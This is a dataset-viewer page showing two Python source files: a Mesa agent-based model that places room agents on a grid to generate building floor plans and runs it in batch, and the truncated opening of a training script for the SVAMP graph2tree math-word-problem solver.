xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

b462c60deb6bb1cfa4fc1453e95138ace46b034f

27,314

py

Python

batch_run.py

Trippasch/ABM_Building_Model

a99e9f8f97f8abc2e6b4652d215890cf612bbdf5

[ "MIT" ]

null

batch_run.py

Trippasch/ABM_Building_Model

a99e9f8f97f8abc2e6b4652d215890cf612bbdf5

[ "MIT" ]

null

batch_run.py

Trippasch/ABM_Building_Model

a99e9f8f97f8abc2e6b4652d215890cf612bbdf5

[ "MIT" ]

null

from mesa import Agent, Model from abm_project.attractor import Attractor from mesa.time import * from mesa.space import * from mesa.datacollection import * from mesa.batchrunner import * import numpy as np import pandas as pd import itertools import random # Start of datacollector functions def get_agent_type(model): agent_type = [type(agent) for agent in model.agents] return agent_type def get_agent_pos(model): agent_pos = [agent.pos for agent in model.agents] return agent_pos class BuildingModelBatch(Model): """ A model representing a building with some number of rooms(agents) """ description = ("A model representing a building with some number of different types of rooms (agents)" +" being attracted to each other based on some set of complicated rules." +"The result of the model is the best possible plan view of the building according to these rules.") # id generator to track run number in batch run data id_gen = itertools.count(1) # grid height grid_h = 20 # grid width grid_w = 20 def __init__( self, width=20, height=20, sl1_rooms=1, sl_rooms=2, wc1_rooms=1, wc_rooms=1, liv_rooms=1, entry_rooms=1, kit_rooms=1, off_rooms=1, corr_rooms=1, bath_rooms=1, ): # Set parameters self.sl1_rooms = sl1_rooms self.sl_rooms = sl_rooms self.wc1_rooms = wc1_rooms self.wc_rooms = wc_rooms self.liv_rooms = liv_rooms self.entry_rooms = entry_rooms self.kit_rooms = kit_rooms self.off_rooms = off_rooms self.corr_rooms = corr_rooms self.bath_rooms = bath_rooms self.width = width self.height = height self.torus = False self.counter = 1 self.num_agents = (sl_rooms + wc_rooms + sl1_rooms + wc1_rooms + liv_rooms + entry_rooms + kit_rooms + off_rooms + corr_rooms + bath_rooms) self.agents = [] self.current_id = 0 self.grid = SingleGrid(width, height, self.torus) self.schedule = RandomActivation(self) self.stable_pos = 0 self.stable_sl1 = 0 self.stable_sl = 0 self.stable_wc = 0 self.stable_wc1 = 0 self.stable_liv = 0 self.stable_entry = 0 self.stable_kit = 0 self.stable_corr = 0 self.stable_off = 0 self.stable_bath = 0 self.datacollector = DataCollector( model_reporters={ # "Number of Rooms": lambda m: m.num_agents, # "SL Rooms": lambda m: m.sl_rooms, # "SL1 Rooms": lambda m: m.sl1_rooms, # "WC Rooms": lambda m: m.wc_rooms, # "WC1 Rooms": lambda m: m.wc1_rooms, "agent_type": get_agent_type, "agent_pos": get_agent_pos, }, agent_reporters={ "agent_id": "unique_id", "agent_pos": "pos", }, ) self.make_agents() self.running = True self.reset = False self.datacollector.collect(self) def make_agents(self): # Create Sleeping Rooms(1) for i in range(self.sl1_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): sl1room = SL1RoomAgent(self.next_id(), pos, self, True, self.sl1_rooms) self.agents.append(sl1room) self.schedule.add(sl1room) self.grid.place_agent(sl1room, pos) else: i -= 1 # Create Sleeping Rooms for i in range(self.sl_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): slroom = SLRoomAgent(self.next_id(), pos, self, True, self.sl_rooms) self.agents.append(slroom) self.schedule.add(slroom) self.grid.place_agent(slroom, pos) else: i -= 1 # Create WC Rooms for i in range(self.wc_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): wcroom = WCRoomAgent(self.next_id(), pos, self, True, self.wc_rooms) self.agents.append(wcroom) self.schedule.add(wcroom) self.grid.place_agent(wcroom, pos) else: i -= 1 # Create WC Rooms(1) for i in range(self.wc1_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): wc1room = WC1RoomAgent(self.next_id(), pos, self, True, self.wc1_rooms) self.agents.append(wc1room) self.schedule.add(wc1room) self.grid.place_agent(wc1room, pos) else: i -= 1 # Create Living Rooms for i in range(self.liv_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): livroom = LivRoomAgent(self.next_id(), pos, self, True, self.liv_rooms) self.agents.append(livroom) self.schedule.add(livroom) self.grid.place_agent(livroom, pos) else: i -= 1 # Create Entries for i in range(self.entry_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): enroom = EntryRoomAgent(self.next_id(), pos, self, True, self.entry_rooms) self.agents.append(enroom) self.schedule.add(enroom) self.grid.place_agent(enroom, pos) else: i -= 1 # Create Kitchens for i in range(self.kit_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): kitroom = KitRoomAgent(self.next_id(), pos, self, True, self.kit_rooms) self.agents.append(kitroom) self.schedule.add(kitroom) self.grid.place_agent(kitroom, pos) else: i -= 1 # Create Office Rooms for i in range(self.off_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): offroom = OffRoomAgent(self.next_id(), pos, self, True, self.off_rooms) self.agents.append(offroom) self.schedule.add(offroom) self.grid.place_agent(offroom, pos) else: i -= 1 # Create Corridors for i in range(self.corr_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): corrroom = CorrRoomAgent(self.next_id(), pos, self, True, self.corr_rooms) self.agents.append(corrroom) self.schedule.add(corrroom) self.grid.place_agent(corrroom, pos) else: i -= 1 # Create Baths for i in range(self.bath_rooms): # Add the agent to a random grid cell x = self.random.randrange(self.grid.width) y = self.random.randrange(self.grid.height) pos = (x, y) if self.grid.is_cell_empty(pos): bathroom = BathRoomAgent(self.next_id(), pos, self, True, self.bath_rooms) self.agents.append(bathroom) self.schedule.add(bathroom) self.grid.place_agent(bathroom, pos) else: i -= 1 def step(self): """ Run one step of the model. If All agents are stable, halt the model. """ # Reset counter of stable_pos agents self.stable_pos = 0 self.stable_sl1 = 0 self.stable_sl = 0 self.stable_wc = 0 self.stable_wc1 = 0 self.stable_liv = 0 self.stable_entry = 0 self.stable_kit = 0 self.stable_corr = 0 self.stable_off = 0 self.stable_bath = 0 # tell all the agents in the model to run their step function self.schedule.step() # collect data self.datacollector.collect(self) print("--stable_pos : ", self.stable_pos) if self.stable_pos == self.schedule.get_agent_count(): self.running = False if self.schedule.steps / 1000 == self.counter: print(self.schedule.steps) self.reset = True # def run_model(self): # for i in range(self.run_time): # self.step() class SL1RoomAgent(Attractor): """ An agent representing a Sleeping room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore=True, sl1_rooms=1): super().__init__(unique_id, pos, model, moore=moore) self.sl1_rooms = sl1_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is WCRoomAgent: self.model.stable_sl1 += 1 if type(i) is CorrRoomAgent: self.model.stable_sl1 += 1 if self.model.stable_sl1 == 2: self.model.stable_pos += self.sl1_rooms else: if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is WCRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is CorrRoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.sl1_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.sl1_rooms > 0: if random.randint(1,4) == 4: self.north_pole() if random.randint(1,3) == 3: self.west_pole() if random.randint(1,2) == 2: self.south_pole() if random.randint(1,1) == 1: self.east_pole() class SLRoomAgent(Attractor): """ An agent representing a Sleeping room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore=True, sl_rooms=2): super().__init__(unique_id, pos, model, moore=moore) self.sl_rooms = sl_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is CorrRoomAgent: self.model.stable_sl += 1 if self.model.stable_sl == 2: self.model.stable_pos += self.sl_rooms else: if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is CorrRoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.sl_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.sl_rooms > 0: if random.randint(1,4) == 4: self.north_pole() if random.randint(1,3) == 3: self.west_pole() if random.randint(1,2) == 2: self.south_pole() if random.randint(1,1) == 1: self.east_pole() class WC1RoomAgent(Attractor): """ An agent representing a WC room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore = True, wc1_rooms=1): super().__init__(unique_id, pos, model, moore=moore) self.wc1_rooms = wc1_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is OffRoomAgent: self.model.stable_wc1 += 1 if self.model.stable_wc1 == 1: self.model.stable_pos += self.wc1_rooms else: if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is OffRoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.wc1_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.wc1_rooms > 0: if random.randint(1,4) == 4: self.south_pole() if random.randint(1,3) == 3: self.west_pole() if random.randint(1,2) == 2: self.east_pole() if random.randint(1,1) == 1: self.north_pole() class WCRoomAgent(Attractor): """ An agent representing a WC room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore = True, wc_rooms=1): super().__init__(unique_id, pos, model, moore=moore) self.wc_rooms = wc_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is SL1RoomAgent: self.model.stable_wc += 1 if self.model.stable_wc == 1: self.model.stable_pos += self.wc_rooms else: if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is SL1RoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.wc_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.wc_rooms > 0: if random.randint(1,4) == 4: self.south_pole() if random.randint(1,3) == 3: self.west_pole() if random.randint(1,2) == 2: self.east_pole() if random.randint(1,1) == 1: self.north_pole() class LivRoomAgent(Attractor): """ An agent representing a Sleeping room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore = True, liv_rooms=1): super().__init__(unique_id, pos, model, moore=moore) self.liv_rooms = liv_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is EntryRoomAgent: self.model.stable_liv += 1 if type(i) is BathRoomAgent: self.model.stable_liv += 1 if type(i) is OffRoomAgent: self.model.stable_liv += 1 if type(i) is CorrRoomAgent: self.model.stable_liv += 1 if type(i) is KitRoomAgent: self.model.stable_liv += 1 if self.model.stable_liv == 5: self.model.stable_pos += self.liv_rooms else: if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is CorrRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is KitRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is EntryRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is BathRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is OffRoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.liv_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.liv_rooms > 0: if random.randint(1,4) == 4: self.north_pole() if random.randint(1,3) == 3: self.east_pole() if random.randint(1,2) == 2: self.west_pole() if random.randint(1,1) == 1: self.south_pole() class EntryRoomAgent(Attractor): """ An agent representing a Sleeping room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore = True, entry_rooms=1): super().__init__(unique_id, pos, model, moore=moore) self.entry_rooms = entry_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is LivRoomAgent: self.model.stable_entry += 1 if self.model.stable_entry == 1: self.model.stable_pos += self.entry_rooms else: if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is LivRoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.entry_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.entry_rooms > 0: if random.randint(1,4) == 4: self.north_pole() if random.randint(1,3) == 3: self.east_pole() if random.randint(1,2) == 2: self.west_pole() if random.randint(1,1) == 1: self.south_pole() class KitRoomAgent(Attractor): """ An agent representing a Sleeping room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore = True, kit_rooms=1): super().__init__(unique_id, pos, model, moore=moore) self.kit_rooms = kit_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is LivRoomAgent: self.model.stable_kit += 1 # if type(i) is CorrRoomAgent: # self.model.stable_kit += 1 # if type(i) is BathRoomAgent: # self.model.stable_kit += 1 if self.model.stable_kit == 1: self.model.stable_pos += self.kit_rooms else: if random.randint(1, 5) == 5: for agent in self.model.agents: if type(agent) is CorrRoomAgent: self.agent_attraction(agent) if random.randint(1, 5) == 5: for agent in self.model.agents: if type(agent) is BathRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is LivRoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.kit_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.kit_rooms > 0: if random.randint(1,4) == 4: self.north_pole() if random.randint(1,3) == 3: self.south_pole() if random.randint(1,2) == 2: self.east_pole() if random.randint(1,1) == 1: self.west_pole() class OffRoomAgent(Attractor): """ An agent representing a Sleeping room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore = True, off_rooms=1): super().__init__(unique_id, pos, model, moore=moore) self.off_rooms = off_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is LivRoomAgent: self.model.stable_off += 1 if type(i) is WC1RoomAgent: self.model.stable_off += 1 # if type(i) is CorrRoomAgent: # self.model.stable_off += 1 if self.model.stable_off == 2: self.model.stable_pos += self.off_rooms else: if random.randint(1, 5) == 5: for agent in self.model.agents: if type(agent) is CorrRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is LivRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is WC1RoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.off_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.off_rooms > 0: if random.randint(1,4) == 4: self.west_pole() if random.randint(1,3) == 3: self.south_pole() if random.randint(1,2) == 2: self.east_pole() if random.randint(1,1) == 1: self.north_pole() class CorrRoomAgent(Attractor): """ An agent representing a Sleeping room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore = True, corr_rooms=1): super().__init__(unique_id, pos, model, moore=moore) self.corr_rooms = corr_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is SL1RoomAgent: self.model.stable_corr += 1 if type(i) is SLRoomAgent: self.model.stable_corr += 1 if type(i) is LivRoomAgent: self.model.stable_corr += 1 # if type(i) is KitRoomAgent: # self.model.stable_corr += 1 # if type(i) is OffRoomAgent: # self.model.stable_corr += 1 if self.model.stable_corr == 4: self.model.stable_pos += self.corr_rooms else: if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is SLRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is SL1RoomAgent: self.agent_attraction(agent) if random.randint(1, 5) == 5: for agent in self.model.agents: if type(agent) is KitRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is LivRoomAgent: self.agent_attraction(agent) if random.randint(1, 5) == 5: for agent in self.model.agents: if type(agent) is OffRoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.corr_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.corr_rooms > 0: if random.randint(1,4) == 4: self.south_pole() if random.randint(1,3) == 3: self.west_pole() if random.randint(1,2) == 2: self.east_pole() if random.randint(1,1) == 1: self.north_pole() class BathRoomAgent(Attractor): """ An agent representing a Sleeping room with some fixed variables """ moore = True def __init__(self, unique_id, pos, model, moore = True, bath_rooms=1): super().__init__(unique_id, pos, model, moore=moore) self.bath_rooms = bath_rooms self.pos = pos self.unique_id = unique_id self.x, self.y = pos self.moore = moore # step is called for each agent in model.BuildingModel.schedule.step() def step(self): neighbors = self.model.grid.get_neighbors((self.x, self.y), moore=True, include_center=False, radius=1) for i in neighbors: if type(i) is LivRoomAgent: self.model.stable_bath += 1 # if type(i) is KitRoomAgent: # self.model.stable_bath += 1 if self.model.stable_bath == 1: self.model.stable_pos += self.bath_rooms else: if random.randint(1, 5) == 5: for agent in self.model.agents: if type(agent) is KitRoomAgent: self.agent_attraction(agent) if random.randint(1, 1) == 1: for agent in self.model.agents: if type(agent) is LivRoomAgent: self.agent_attraction(agent) if self.model.num_agents > 0: if random.randint(1, 7) == 7: for agent in self.model.agents: if agent is not self: self.agent_attraction(agent) if self.bath_rooms > 0: if random.randint(1, 20) == 20: self.grid_attraction_5() if random.randint(1, 4) == 4: self.grid_attraction_25() if random.randint(1, 1) == 1: self.grid_attraction_70() if self.bath_rooms > 0: if random.randint(1,4) == 4: self.south_pole() if random.randint(1,3) == 3: self.west_pole() if random.randint(1,2) == 2: self.east_pole() if random.randint(1,1) == 1: self.north_pole() # parameter lists for each parameter to be tested in batch run br_params = { "sl1_rooms": [1], "sl_rooms": [2], "wc1_rooms": [1], "wc_rooms": [1], "liv_rooms": [1], "entry_rooms": [1], "kit_rooms": [1], "off_rooms": [1], "corr_rooms": [1], "bath_rooms": [1], } br = BatchRunner( BuildingModelBatch, br_params, iterations=1, max_steps=10000, model_reporters={"Data Collector": lambda m: m.datacollector}, agent_reporters={"agent_pos": "pos"}, ) if __name__ == "__main__": br.run_all() br_df = br.get_model_vars_dataframe() br_adf = br.get_agent_vars_dataframe() br_step_data = pd.DataFrame() for i in range(len(br_df["Data Collector"])): if isinstance(br_df["Data Collector"][i], DataCollector): i_run_data = br_df["Data Collector"][i].get_model_vars_dataframe() br_step_data = br_step_data.append(i_run_data, ignore_index=True) br_step_data.to_csv("BuildingModelBatch_Step_Data.csv") # for i in range(len(br_adf["agent_pos"])): # if isinstance(br_adf["agent_pos"][i], DataCollector): # i_run_data = br_adf["agent_pos"][i].get_agent_vars_dataframe() # br_step_data = br_step_data.append(i_run_data, ignore_index=True) # br_step_data.to_csv("BuildingModelBatch_Step_Data.csv")

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Python

code/graph2tree/src/main.py

arkilpatel/SVAMP

6f09ab516ab06c18e948c0325236e84e80b5d4bd

[ "MIT" ]

39

2021-04-08T01:24:36.000Z

2022-03-12T06:51:33.000Z

code/graph2tree/src/main.py

intflow/SVAMP

10731d8ea489f4eb8e12e35c6c2781f8d837866a

[ "MIT" ]

8

2021-04-12T08:02:05.000Z

2022-03-07T06:36:39.000Z

code/graph2tree/src/main.py

intflow/SVAMP

10731d8ea489f4eb8e12e35c6c2781f8d837866a

[ "MIT" ]

11

2021-04-08T01:24:41.000Z

2021-12-15T22:51:51.000Z

# coding: utf-8 import time import torch.optim from collections import OrderedDict from attrdict import AttrDict import pandas as pd try: import cPickle as pickle except ImportError: import pickle import json import pdb from src.args import build_parser from src.train_and_evaluate import * from src.components.models import * from src.components.contextual_embeddings import * from src.utils.helper import * from src.utils.logger import * from src.utils.expressions_transfer import * global log_folder global model_folder global result_folder global data_path global board_path log_folder = 'logs' model_folder = 'models' outputs_folder = 'outputs' result_folder = './out/' data_path = './data/' board_path = './runs/' def read_json(path): with open(path,'r') as f: file = json.load(f) return file USE_CUDA = True def get_new_fold(data,pairs,group): new_fold = [] for item,pair,g in zip(data, pairs, group): pair = list(pair) pair.append(g['group_num']) pair = tuple(pair) new_fold.append(pair) return new_fold def change_num(num): new_num = [] for item in num: if '/' in item: new_str = item.split(')')[0] new_str = new_str.split('(')[1] a = float(new_str.split('/')[0]) b = float(new_str.split('/')[1]) value = a/b new_num.append(value) elif '%' in item: value = float(item[0:-1])/100 new_num.append(value) else: new_num.append(float(item)) return new_num def main(): parser = build_parser() args = parser.parse_args() config = args if config.mode == 'train': is_train = True else: is_train = False ''' Set seed for reproducibility''' np.random.seed(config.seed) torch.manual_seed(config.seed) random.seed(config.seed) '''GPU initialization''' device = gpu_init_pytorch(config.gpu) if config.full_cv: global data_path data_name = config.dataset data_path = data_path + data_name + '/' config.val_result_path = os.path.join(result_folder, 'CV_results_{}.json'.format(data_name)) fold_acc_score = 0.0 folds_scores = [] best_acc = [] for z in range(5): run_name = config.run_name + '_fold' + str(z) config.dataset = 'fold' + str(z) config.log_path = os.path.join(log_folder, run_name) config.model_path = os.path.join(model_folder, run_name) config.board_path = os.path.join(board_path, run_name) config.outputs_path = os.path.join(outputs_folder, run_name) vocab1_path = os.path.join(config.model_path, 'vocab1.p') vocab2_path = os.path.join(config.model_path, 'vocab2.p') config_file = os.path.join(config.model_path, 'config.p') log_file = os.path.join(config.log_path, 'log.txt') if config.results: config.result_path = os.path.join(result_folder, 'val_results_{}.json'.format(config.dataset)) create_save_directories(config.log_path) create_save_directories(config.model_path) create_save_directories(config.outputs_path) logger = get_logger(run_name, log_file, logging.DEBUG) logger.info('Experiment Name: {}'.format(config.run_name)) logger.debug('Created Relevant Directories') logger.info('Loading Data...') train_ls, dev_ls = load_raw_data(data_path, config.dataset, is_train) pairs_trained, pairs_tested, generate_nums, copy_nums = transfer_num(train_ls, dev_ls, config.challenge_disp) logger.debug('Data Loaded...') logger.debug('Number of Training Examples: {}'.format(len(pairs_trained))) logger.debug('Number of Testing Examples: {}'.format(len(pairs_tested))) logger.debug('Extra Numbers: {}'.format(generate_nums)) logger.debug('Maximum Number of Numbers: {}'.format(copy_nums)) logger.info('Creating Vocab...') input_lang = None output_lang = None input_lang, output_lang, train_pairs, test_pairs = prepare_data(config, logger, pairs_trained, pairs_tested, config.trim_threshold, generate_nums, copy_nums, input_lang, output_lang, tree=True) checkpoint = get_latest_checkpoint(config.model_path, logger) with open(vocab1_path, 'wb') as f: pickle.dump(input_lang, f, protocol=pickle.HIGHEST_PROTOCOL) with open(vocab2_path, 'wb') as f: pickle.dump(output_lang, f, protocol=pickle.HIGHEST_PROTOCOL) logger.debug('Vocab saved at {}'.format(vocab1_path)) generate_num_ids = [] for num in generate_nums: generate_num_ids.append(output_lang.word2index[num]) config.len_generate_nums = len(generate_nums) config.copy_nums = copy_nums with open(config_file, 'wb') as f: pickle.dump(vars(config), f, protocol=pickle.HIGHEST_PROTOCOL) logger.debug('Config File Saved') logger.info('Initializing Models...') # Initialize models embedding = None if config.embedding == 'bert': embedding = BertEncoder(config.emb_name, device, config.freeze_emb) elif config.embedding == 'roberta': embedding = RobertaEncoder(config.emb_name, device, config.freeze_emb) else: embedding = Embedding(config, input_lang, input_size=input_lang.n_words, embedding_size=config.embedding_size, dropout=config.dropout) encoder = EncoderSeq(cell_type=config.cell_type, embedding_size=config.embedding_size, hidden_size=config.hidden_size, n_layers=config.depth, dropout=config.dropout) predict = Prediction(hidden_size=config.hidden_size, op_nums=output_lang.n_words - copy_nums - 1 - len(generate_nums), input_size=len(generate_nums), dropout=config.dropout) generate = GenerateNode(hidden_size=config.hidden_size, op_nums=output_lang.n_words - copy_nums - 1 - len(generate_nums), embedding_size=config.embedding_size, dropout=config.dropout) merge = Merge(hidden_size=config.hidden_size, embedding_size=config.embedding_size, dropout=config.dropout) # the embedding layer is only for generated number embeddings, operators, and paddings logger.debug('Models Initialized') logger.info('Initializing Optimizers...') embedding_optimizer = torch.optim.Adam(embedding.parameters(), lr=config.emb_lr, weight_decay=config.weight_decay) encoder_optimizer = torch.optim.Adam(encoder.parameters(), lr=config.lr, weight_decay=config.weight_decay) predict_optimizer = torch.optim.Adam(predict.parameters(), lr=config.lr, weight_decay=config.weight_decay) generate_optimizer = torch.optim.Adam(generate.parameters(), lr=config.lr, weight_decay=config.weight_decay) merge_optimizer = torch.optim.Adam(merge.parameters(), lr=config.lr, weight_decay=config.weight_decay) logger.debug('Optimizers Initialized') logger.info('Initializing Schedulers...') embedding_scheduler = torch.optim.lr_scheduler.StepLR(embedding_optimizer, step_size=20, gamma=0.5) encoder_scheduler = torch.optim.lr_scheduler.StepLR(encoder_optimizer, step_size=20, gamma=0.5) predict_scheduler = torch.optim.lr_scheduler.StepLR(predict_optimizer, step_size=20, gamma=0.5) generate_scheduler = torch.optim.lr_scheduler.StepLR(generate_optimizer, step_size=20, gamma=0.5) merge_scheduler = torch.optim.lr_scheduler.StepLR(merge_optimizer, step_size=20, gamma=0.5) logger.debug('Schedulers Initialized') logger.info('Loading Models on GPU {}...'.format(config.gpu)) # Move models to GPU if USE_CUDA: embedding.to(device) encoder.to(device) predict.to(device) generate.to(device) merge.to(device) logger.debug('Models loaded on GPU {}'.format(config.gpu)) max_value_corr = 0 len_total_eval = 0 max_val_acc = 0.0 max_train_acc = 0.0 eq_acc = 0.0 best_epoch = -1 min_train_loss = float('inf') logger.info('Starting Training Procedure') for epoch in range(config.epochs): loss_total = 0 input_batches, input_lengths, output_batches, output_lengths, nums_batches, num_stack_batches, num_pos_batches, num_size_batches, num_value_batches, graph_batches, group_batches = prepare_train_batch(train_pairs, config.batch_size) od = OrderedDict() od['Epoch'] = epoch + 1 print_log(logger, od) start = time.time() for idx in range(len(input_lengths)): loss = train_tree( config, input_batches[idx], input_lengths[idx], output_batches[idx], output_lengths[idx], num_stack_batches[idx], num_size_batches[idx], num_value_batches[idx], group_batches[idx], generate_num_ids, embedding, encoder, predict, generate, merge, embedding_optimizer, encoder_optimizer, predict_optimizer, generate_optimizer, merge_optimizer, input_lang, output_lang, num_pos_batches[idx], graph_batches[idx]) loss_total += loss print("Completed {} / {}...".format(idx, len(input_lengths)), end = '\r', flush = True) embedding_scheduler.step() encoder_scheduler.step() predict_scheduler.step() generate_scheduler.step() merge_scheduler.step() logger.debug('Training for epoch {} completed...\nTime Taken: {}'.format(epoch, time_since(time.time() - start))) if loss_total / len(input_lengths) < min_train_loss: min_train_loss = loss_total / len(input_lengths) train_value_ac = 0 train_equation_ac = 0 train_eval_total = 1 if 